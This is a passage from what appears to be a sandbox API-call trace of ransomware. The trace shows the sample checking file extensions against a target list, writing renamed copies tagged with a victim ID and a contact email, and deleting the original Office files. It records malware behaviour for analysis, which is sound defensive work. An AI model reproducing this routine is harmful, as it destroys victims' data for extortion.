Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString=".jpg") returned 4 [0036.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString=".doc") returned 4 [0036.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString=".docx") returned 5 [0036.535] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0036.535] lstrlenW (lpString=".pdf") returned 4 [0036.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString=".xls") returned 4 [0036.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString=".xlsx") returned 5 [0036.535] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0036.535] lstrlenW (lpString=".ppt") returned 4 [0036.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.535] lstrlenW (lpString=".zip") returned 4 [0036.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.536] lstrlenW (lpString=".rar") returned 4 [0036.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.536] lstrlenW (lpString=".bz2") returned 4 [0036.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.536] lstrlenW (lpString=".7z") returned 3 [0036.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.536] lstrlenW (lpString=".dbf") returned 4 [0036.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.536] lstrlenW (lpString=".1cd") returned 4 [0036.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.536] lstrlenW (lpString=".jpg") returned 4 [0036.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.536] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.536] lstrlenW (lpString="keypad.xml") returned 10 [0036.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.537] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=727) returned 1 [0036.537] CloseHandle (hObject=0x1ac) returned 1 [0036.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0036.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.537] lstrlenW (lpString=".doc") returned 4 [0036.537] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.537] lstrlenW (lpString=".docx") returned 5 [0036.537] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.538] lstrlenW (lpString=".pdf") returned 4 [0036.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString=".xls") returned 4 [0036.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString=".xlsx") returned 5 [0036.538] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.538] lstrlenW (lpString=".ppt") returned 4 [0036.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString=".zip") returned 4 [0036.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.538] lstrlenW (lpString=".rar") returned 4 [0036.538] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString=".bz2") returned 4 [0036.538] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString=".7z") returned 3 [0036.538] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString=".dbf") returned 4 [0036.538] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString=".1cd") returned 4 [0036.538] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString=".jpg") returned 4 [0036.538] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.538] lstrlenW (lpString=".doc") returned 4 [0036.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.538] lstrlenW (lpString=".docx") returned 5 [0036.538] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.538] lstrlenW (lpString=".pdf") returned 4 [0036.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString=".xls") returned 4 [0036.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString=".xlsx") returned 5 [0036.539] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.539] lstrlenW (lpString=".ppt") returned 4 [0036.539] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.539] lstrlenW (lpString=".zip") returned 4 [0036.539] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.539] lstrlenW (lpString=".rar") returned 4 [0036.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString=".bz2") returned 4 [0036.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString=".7z") returned 3 [0036.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.539] lstrlenW (lpString=".dbf") returned 4 [0036.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.539] lstrlenW (lpString=".1cd") returned 4 [0036.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0036.539] lstrlenW (lpString=".jpg") returned 4 [0036.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.539] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.539] lstrlenW (lpString="base.xml") returned 8 [0036.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.541] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3150) returned 1 [0036.541] CloseHandle (hObject=0x1ac) returned 1 [0036.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0036.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0036.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0036.541] lstrlenW (lpString=".doc") returned 4 [0036.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.541] lstrlenW (lpString=".docx") returned 5 [0036.541] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.541] lstrlenW (lpString=".pdf") returned 4 [0036.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.541] lstrlenW (lpString=".xls") returned 4 [0036.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.541] lstrlenW (lpString=".xlsx") returned 5 [0036.541] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.542] lstrlenW (lpString=".ppt") returned 4 [0036.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0036.542] lstrlenW (lpString=".zip") returned 4 [0036.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.542] lstrlenW (lpString=".rar") returned 4 [0036.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.542] lstrlenW (lpString=".bz2") returned 4 [0036.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.542] lstrlenW (lpString=".7z") returned 3 [0036.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0036.542] lstrlenW (lpString=".dbf") returned 4 [0036.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.091] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=819) returned 1 [0038.091] CloseHandle (hObject=0x1cc) returned 1 [0038.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0038.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.091] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.091] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0038.091] GetLastError () returned 0x0 [0038.091] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x333, lpOverlapped=0x0) returned 1 [0038.098] WriteFile (in: hFile=0x1d0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x340, lpOverlapped=0x0) returned 1 [0038.099] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.099] WriteFile (in: hFile=0x1d0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0038.099] SetEndOfFile (hFile=0x1d0) returned 1 [0038.099] CloseHandle (hObject=0x1d0) returned 1 [0038.100] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.100] SetEndOfFile (hFile=0x1cc) returned 1 [0038.101] CloseHandle (hObject=0x1cc) returned 1 [0038.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0038.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.101] lstrlenW (lpString=".doc") returned 4 [0038.101] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.101] lstrlenW (lpString=".docx") returned 5 [0038.101] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0038.101] lstrlenW (lpString=".pdf") returned 4 [0038.101] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.101] lstrlenW (lpString=".xls") returned 4 [0038.101] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.101] lstrlenW (lpString=".xlsx") returned 5 [0038.101] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0038.101] lstrlenW (lpString=".ppt") returned 4 [0038.101] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".zip") returned 4 [0038.102] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.102] lstrlenW (lpString=".rar") returned 4 [0038.102] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString=".bz2") returned 4 [0038.102] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString=".7z") returned 3 [0038.102] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".dbf") returned 4 [0038.102] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".1cd") returned 4 [0038.102] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".jpg") returned 4 [0038.102] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".doc") returned 4 [0038.102] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString=".docx") returned 5 [0038.102] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0038.102] lstrlenW (lpString=".pdf") returned 4 [0038.102] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString=".xls") returned 4 [0038.102] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString=".xlsx") returned 5 [0038.102] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0038.102] lstrlenW (lpString=".ppt") returned 4 [0038.102] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.102] lstrlenW (lpString=".zip") returned 4 [0038.103] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.103] lstrlenW (lpString=".rar") returned 4 [0038.103] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.103] lstrlenW (lpString=".bz2") returned 4 [0038.103] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.103] lstrlenW (lpString=".7z") returned 3 [0038.103] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.103] lstrlenW (lpString=".dbf") returned 4 [0038.103] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.103] lstrlenW (lpString=".1cd") returned 4 [0038.103] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0038.103] lstrlenW (lpString=".jpg") returned 4 [0038.103] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.171] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.171] lstrlenW (lpString="SETUP.XML") returned 9 [0038.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.453] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1452) returned 1 [0038.462] CloseHandle (hObject=0x1c4) returned 1 [0038.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0038.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.496] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.496] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0038.496] GetLastError () returned 0x0 [0038.496] ReadFile (in: hFile=0x1c4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0038.500] WriteFile (in: hFile=0x1d4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.501] ReadFile (in: hFile=0x1c4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.501] WriteFile (in: hFile=0x1d4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.501] SetEndOfFile (hFile=0x1d4) returned 1 [0038.502] CloseHandle (hObject=0x1d4) returned 1 [0038.502] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.502] SetEndOfFile (hFile=0x1c4) returned 1 [0038.503] CloseHandle (hObject=0x1c4) returned 1 [0038.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.503] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString=".doc") returned 4 [0038.504] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString=".docx") returned 5 [0038.504] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.504] lstrlenW (lpString=".pdf") returned 4 [0038.504] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString=".xls") returned 4 [0038.504] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString=".xlsx") returned 5 [0038.504] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.504] lstrlenW (lpString=".ppt") returned 4 [0038.504] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString=".zip") returned 4 [0038.504] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.504] lstrlenW (lpString=".rar") returned 4 [0038.504] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString=".bz2") returned 4 [0038.504] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString=".7z") returned 3 [0038.504] 